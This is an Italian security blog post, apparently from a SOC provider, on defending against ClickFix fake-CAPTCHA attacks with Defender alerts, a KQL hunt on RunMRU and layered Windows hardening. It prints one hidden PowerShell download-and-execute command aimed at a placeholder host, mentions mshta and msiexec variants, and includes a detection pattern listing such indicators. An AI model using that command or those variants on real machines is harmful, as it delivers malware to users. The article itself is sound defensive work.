ClickFix. Quando l'utente è l'exploit, e come lo fermi

ClickFix trasforma gli utenti nel proprio attaccante: un CAPTCHA falso, un copia-incolla, e il codice malevolo gira in memoria senza che nulla finisca su disco. Come Microsoft Defender rileva l'attacco, dove il rilevamento arriva ai suoi limiti e come chiudi la lacuna con un hunt su RunMRU e quattro layer di protezione.

ClickFix. Quando l'utente è l'exploit, e come lo fermi

La catena di attacco ClickFix

ClickFix è un attacco in cui gli utenti diventano il proprio attaccante. Nessun exploit, nessuna vulnerabilità. È la vittima stessa a eseguire il codice malevolo, con un singolo copia-incolla.

Catena di attacco ClickFix in cinque stadi: l'esca, il trucco, il copia-incolla, l'esecuzione, l'infezione.

L'esca è social engineering: un CAPTCHA falso su una pagina malevola, un finto messaggio di supporto ("il tuo browser ha bisogno di un aggiornamento"), una mail di phishing o una pagina di meeting contraffatta. Mentre la vittima è sulla pagina, JavaScript scrive il payload negli appunti tramite clipboard.writeText(). Poi la pagina chiede all'utente di premere Win+R, Ctrl+V e Invio. La finestra di dialogo Esegui avvia ciò che si trova negli appunti.

Un'esca tipica si presenta così:

Screenshot di un'esca CAPTCHA falsa che invita l'utente a premere Win e X, poi a incollare e a eseguire un comando con Invio.

Il comando che mette negli appunti si presenta così:

powershell.exe -w h iex(irm 'https://malicious[.]tld/payload' -UseBasicParsing)

Due cose accadono contemporaneamente. PowerShell parte in una finestra nascosta (-w h), e iex(irm …) scarica il payload e lo esegue direttamente in memoria. Niente finisce su disco, quindi un antivirus basato su firme non ha nulla da scansionare. Il secondo stadio è di solito un infostealer (Lumma, Vidar, RedLine, StealC), un remote access trojan o un loader di ransomware.

Lo stesso schema nella telemetria di Microsoft Defender, un PowerShell nascosto avviato da Windows Terminal che esegue iex(irm …):

Inspect record di Microsoft Defender con la catena di processi WindowsTerminal.exe verso pwsh.exe verso powershell.exe che esegue un comando iex(irm …).

Perché funziona così bene: tutto gira nel contesto dell'utente, senza privilegi elevati. Cookie, password salvate e token di sessione sono a portata di un utente standard. L'attaccante non deve escalare privilegi per arrivare a ciò per cui è venuto.

Cosa rileva Microsoft Defender

Negli ultimi mesi Microsoft ha investito molto nel rilevamento di ClickFix. Se il tuo Defender è in salute e configurato correttamente, ottieni detection native per i payload ClickFix. Dal secondo trimestre 2025 MDE pubblica alert comportamentali con titoli come "Suspicious 'ClickFix' behavior detected", "Malicious PowerShell command executed via Run dialog" o "An active 'Pacalau' malware in a command line was prevented from executing". Partono dal cloud engine di MDE tramite l'analisi della catena di processi, in parallelo al rilevamento AV e spesso qualche secondo prima.

La configurazione che rende possibile tutto questo è più avanti, nella parte sull'hardening dell'esecuzione.

Dove il rilevamento nativo arriva ai suoi limiti

Le firme ML basate su cloud hanno bisogno di tempo prima di scattare. Vediamo regolarmente una lacuna di oltre un minuto tra l'avvio di PowerShell e l'alert di Defender. Un payload più rapido scivola attraverso questa finestra.

Inoltre gli attaccanti si adattano in fretta. Sostituisci powershell con mshta http://... o msiexec /i http://..., entrambi LOLBin classici, e i rilevamenti specifici per PowerShell non fanno più presa.

Chiudere la lacuna: un hunt su RunMRU

Questa lacuna la chiudiamo con le custom detection. Il punto di partenza è una query KQL sulla chiave di registro RunMRU, che registra ogni comando che un utente digita nella finestra di dialogo Win+R.

DeviceRegistryEvents
| where ActionType =~ "RegistryValueSet"
| where InitiatingProcessFileName =~ "explorer.exe"
| where RegistryKey has @"\CurrentVersion\Explorer\RunMRU"
| where RegistryValueData has " ✅ "
    or (RegistryValueData has_any ("powershell", "mshta", "curl", "msiexec", "^")
        and RegistryValueData matches regex "[\\u0400-\\u04FF\\u0370-\\u03FF\\u0590-\\u05FF\\u0600-\\u06FF\\u0E00-\\u0E7F\\u2C80-\\u2CFF\\u13A0-\\u13FF\\u0530-\\u058F\\u10A0-\\u10FF\\u0900-\\u097F]")
    or (RegistryValueData has "mshta" and RegistryValueName !~ "MRUList" and RegistryValueData !in~ ("mshta.exe\\1", "mshta\\1"))
    or (RegistryValueData has_any ("bitsadmin", "forfiles", "ProxyCommand=") and RegistryValueName !~ "MRUList")
    or ((RegistryValueData startswith "cmd" or RegistryValueData startswith "powershell")
        and (RegistryValueData has_any ("-W Hidden ", " -eC ", "curl", "E:jscript", "ssh", "Invoke-Expression", "UtcNow", "Floor", "DownloadString", "DownloadFile", "FromBase64String", "System.IO.Compression", "System.IO.MemoryStream", "iex", "Invoke-WebRequest", "iwr", "Get-ADDomainController", "InstallProduct", "-w h", "-X POST", "Invoke-RestMethod", "-NoP -W", ".InVOKe", "-useb", "irm ", "^", "[char]", "[scriptblock]", "-UserAgent", "UseBasicParsing", ".Content")
            or RegistryValueData matches regex @"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\s[A-Za-z0-9+/=]{15,}"))

La query segnala ogni voce di Win+R che sembra un comando ClickFix: PowerShell, mshta, curl o msiexec insieme a indicatori tipici come -w hidden, iex, irm, DownloadString o payload codificati in Base64. Intercetta anche i trucchi più sottili. L'emoji del segno di spunta verde che molte esche CAPTCHA false mettono davanti al comando. I caratteri Unicode di blocchi cirillici, arabi o thailandesi con cui gli attaccanti mimetizzano il testo e aggirano i filtri di stringa più semplici. Se uno di questi pattern compare in una voce di Win+R, è molto probabile che sia in corso un attacco ClickFix.

Per i nostri clienti CSOC gestiamo queste e altre custom detection, per chiudere la lacuna tra le nuove tecniche di attacco e il rilevamento integrato.

Layer di protezione 1: bloccare la consegna

Passiamo alla prevenzione. ClickFix è diffuso e ha successo, quindi una singola protezione non basta. Lavoriamo a layer, dalla consegna all'esecuzione.

Network Protection blocca domini di delivery e server C2 noti per tutti i browser. MDE Web Content Filtering aggiunge categorie come "Newly registered domains", "Hacking" e "Illegal Software". Network Protection è integrata in Windows, ma per i browser di terze parti devi disattivare QUIC ed ECH, perché entrambi cifrano l'intera connessione e nascondono il dominio di destinazione. Disattiva QUIC in Chrome e Firefox tramite enterprise policy (QuicAllowed = Disabled in Chrome, network.http.http3.enable = false in Firefox); per ECH imposti in Chrome EncryptedClientHelloEnabled = Disabled.

Per Edge attivi SmartScreen. Per i browser di terze parti abiliti il loro Safe Browsing integrato. Non è la stessa cosa di Network Protection, ma aiuta a filtrare le pagine dannose. Per il vettore mail, Safe Links e Safe Attachments verificano link e allegati prima che gli utenti interagiscano con essi.

Il punto debole: tutto questo fa presa solo contro infrastrutture note. Le campagne ClickFix attuali passano da infrastrutture appena registrate, identificate e bloccate troppo tardi, e a volte da siti legittimi che un attaccante ha compromesso. Quindi vediamo cosa protegge dopo che l'esca è stata consegnata.

Layer di protezione 2: bloccare il trucco

Alcune funzionalità di Edge alzano l'ostacolo mentre l'utente si trova su una pagina malevola. Governare le estensioni del browser impedisce che gli utenti installino estensioni malevole o compromesse, capaci di iniettare overlay ClickFix o di manipolare direttamente gli appunti. L'Edge Enhanced Security Mode applica misure di protezione più severe alle pagine sconosciute e visitate di rado (JIT disattivato, Control Flow Guard, protezione dello stack in hardware), il che rende nettamente più difficili i takeover del browser basati su exploit. Typo Protection avvisa dei domini typosquatted (micros0ft.com, paypa1.com) e blocca un vettore di delivery ClickFix diffuso, quello dei domini di marca contraffatti.

I controlli tecnici sono solo metà dell'opera. La formazione degli utenti resta decisiva. L'unica regola che regge la maggior parte del peso: se una pagina web ti chiede di incollare qualcosa nel tuo computer, è un attacco. Rendilo concreto nell'awareness training:

  • Mostrare esche reali: checkbox "Verify you are human" contraffatte, "il tuo browser ha bisogno di un aggiornamento", "non è stato possibile visualizzare il documento, esegui questo fix", prompt di audio Teams o Zoom non funzionanti.
  • Dimostrare il trucco degli appunti: mostrare come la pagina sovrascrive in silenzio gli appunti.
  • Rendere semplice la segnalazione: rapida e senza attribuzione di colpe.

Layer di protezione 3: bloccare l'azione

Qui ci sono alcune possibilità per irrobustire il sistema, nessuna delle quali è una garanzia. Inizia disattivando la finestra di dialogo Esegui, così rimuovi il punto di ingresso Win+R. La guidance di Microsoft su ClickFix consiglia di disattivarla "where it isn't necessary". Questo chiude lo specifico attacco di paste con Win+R, ma restano superfici di avvio alternative, per esempio la barra degli indirizzi di Explorer e Windows Terminal.

Puoi inoltre irrobustire Edge con DefaultClipboardSetting, che impedisce a JavaScript di scrivere in silenzio negli appunti.

Layer di protezione 4: bloccare l'esecuzione

Prima delle funzionalità avanzate, metti in ordine le basi. Per ClickFix significa:

  • Local Admin Reduction: rimuovere dove possibile i diritti di amministratore locale agli utenti finali, per limitare l'effetto di un'esecuzione di codice.
  • Endpoint Privilege Management (EPM): far lavorare gli utenti come utenti standard ed elevare solo le app approvate tramite regole di policy.
  • Hardening di UAC: verificare l'enforcement del secure desktop, il comportamento dei prompt per amministratori e utenti standard e il rilevamento degli installer.
  • Credential Guard: isolare hash NTLM, ticket Kerberos e altro materiale credenziale tramite la sicurezza basata su virtualizzazione, perché il furto di credenziali resti difficile anche se un attaccante ottiene diritti di amministratore.

Questi controlli riducono le possibilità di escalation, proteggono le credenziali e impongono il least privilege. Il loro limite: circoscrivono ciò che accade dopo una compromissione. Non impediscono a un infostealer nel contesto di un utente standard di leggere cookie, token di sessione e credential store delle app leggibili dall'utente.

Poi Microsoft Defender. Defender AV può rilevare il payload del secondo stadio, ma solo con le impostazioni giuste: attivare Cloud Protection e portare il livello di protezione su High o High+. AMSI, l'Antimalware Scan Interface, consente alle applicazioni di passare contenuti a Defender per la verifica a runtime, dopo che sono stati decifrati o deoffuscati in memoria ma prima che vengano eseguiti. PowerShell usa AMSI per identificare il codice malevolo, e AMSI richiede protezione in tempo reale e behavior monitoring.

Almeno cinque regole di Attack Surface Reduction sono rilevanti contro ClickFix:

Regola GUID Rilevanza per ClickFix
Bloccare l'esecuzione di script potenzialmente offuscati 5beb7efe-fd9a-4556-801d-275e5ffc04cc Script offuscati o codificati nella fase di esecuzione ed evasione
Impedire a JavaScript o VBScript di avviare contenuto eseguibile scaricato d3e037e1-3eb8-44c8-a917-57927947596d WSH, .js o .vbs che avviano payload scaricati
Consentire i file eseguibili solo se soddisfano un criterio di prevalenza, età o lista attendibile 01443614-cd74-433a-b99e-2ecdc07bfc25 Eseguibili rilasciati di recente o rari
Bloccare i contenuti eseguibili dal client di posta e dalla webmail be9ba2d9-53ea-4cdc-84e5-9b1eeee46550 Varianti di ClickFix consegnate via email
Impedire a tutte le applicazioni Office di creare processi figlio d4f940ab-401b-4efc-aadc-ad5f3c50688a Varianti con esca Office che avviano interpreti

Distribuisci ASR prima in modalità audit, poi come pilot, poi in modalità block. Tamper Protection è l'ultima linea: impedisce all'attaccante di disattivare i tuoi rilevamenti.

Su PowerShell stesso riduci il rischio legato agli interpreti legacy. Individua e rimuovi, dove fattibile, Windows PowerShell 2.0 e i componenti VBScript legacy, a cui mancano le funzionalità di logging e security delle versioni più recenti. Il passo successivo è il Constrained Language Mode (CLM), che limita gli elementi di linguaggio disponibili in PowerShell e blocca molte tecniche basate su script. Il CLM ha un valore di sicurezza robusto solo se lo impone una policy di system application control (App Control for Business); le varianti tramite variabile d'ambiente e AppLocker sono più deboli e aggirabili. E molti sistemi hanno bisogno del Full Language Mode per funzionare, per esempio il tooling di software deployment, motivo per cui il CLM è spesso praticabile solo in ambienti selezionati.

Arriviamo così ad App Control for Business (in precedenza WDAC). App Control impone una policy di code integrity su quali eseguibili, script e driver possono girare. La posizione strategica è default-deny più le block rule consigliate da Microsoft, la blocklist nota di LOLBin e bypass. App Control è anche il percorso di enforcement corretto per il CLM di PowerShell. La script enforcement blocca gli script host MSHTA e MSXML, forza PowerShell nel CLM e blocca l'uso non consentito del Windows Script Host. Alcuni fatti sul comportamento sono importanti:

  • Le base policy che si fidano di Windows non bloccano automaticamente i LOLBin fidati. Devi fare il merge delle block rule consigliate da Microsoft per chiudere i bypass noti.
  • App Control non impedisce l'avvio di powershell.exe o cmd.exe firmati. Limita ciò che possono fare (CLM, nessun payload non firmato o non consentito) e non governa il contenuto di cmd.exe, .bat o .cmd. Per questo va stratificato con ASR e con l'hardening dell'avvio, non usato da solo.
  • La modalità audit non è neutra: la script enforcement blocca anche in audit l'esecuzione di MSHTA e MSXML e può modificare il comportamento del CLM di PowerShell. Per questo App Control in audit deve essere limitato a pilot o ring fin dalla prima distribuzione, mai esteso a tutta la flotta.

App Control è il singolo controllo con la confidence più alta contro le fasi di esecuzione di interpreti, LOLBin e payload, e impone un CLM robusto. Allo stesso tempo porta con sé la complessità di deployment più alta e il rischio di rollback più alto, perché una configurazione errata blocca l'esecuzione. Introducilo tramite ring pilota controllati.

Dove entriamo in gioco

ClickFix è veloce, e i rilevamenti nativi di Microsoft coprono la maggior parte, ma non tutto. Per i nostri clienti CSOC estendiamo continuamente la copertura dove emergono lacune: esecuzione tramite Windows Terminal, support scam guidati da RAT e comportamento post-compromise. Se vuoi sapere a che punto è il tuo ambiente, contattaci.

Articoli simili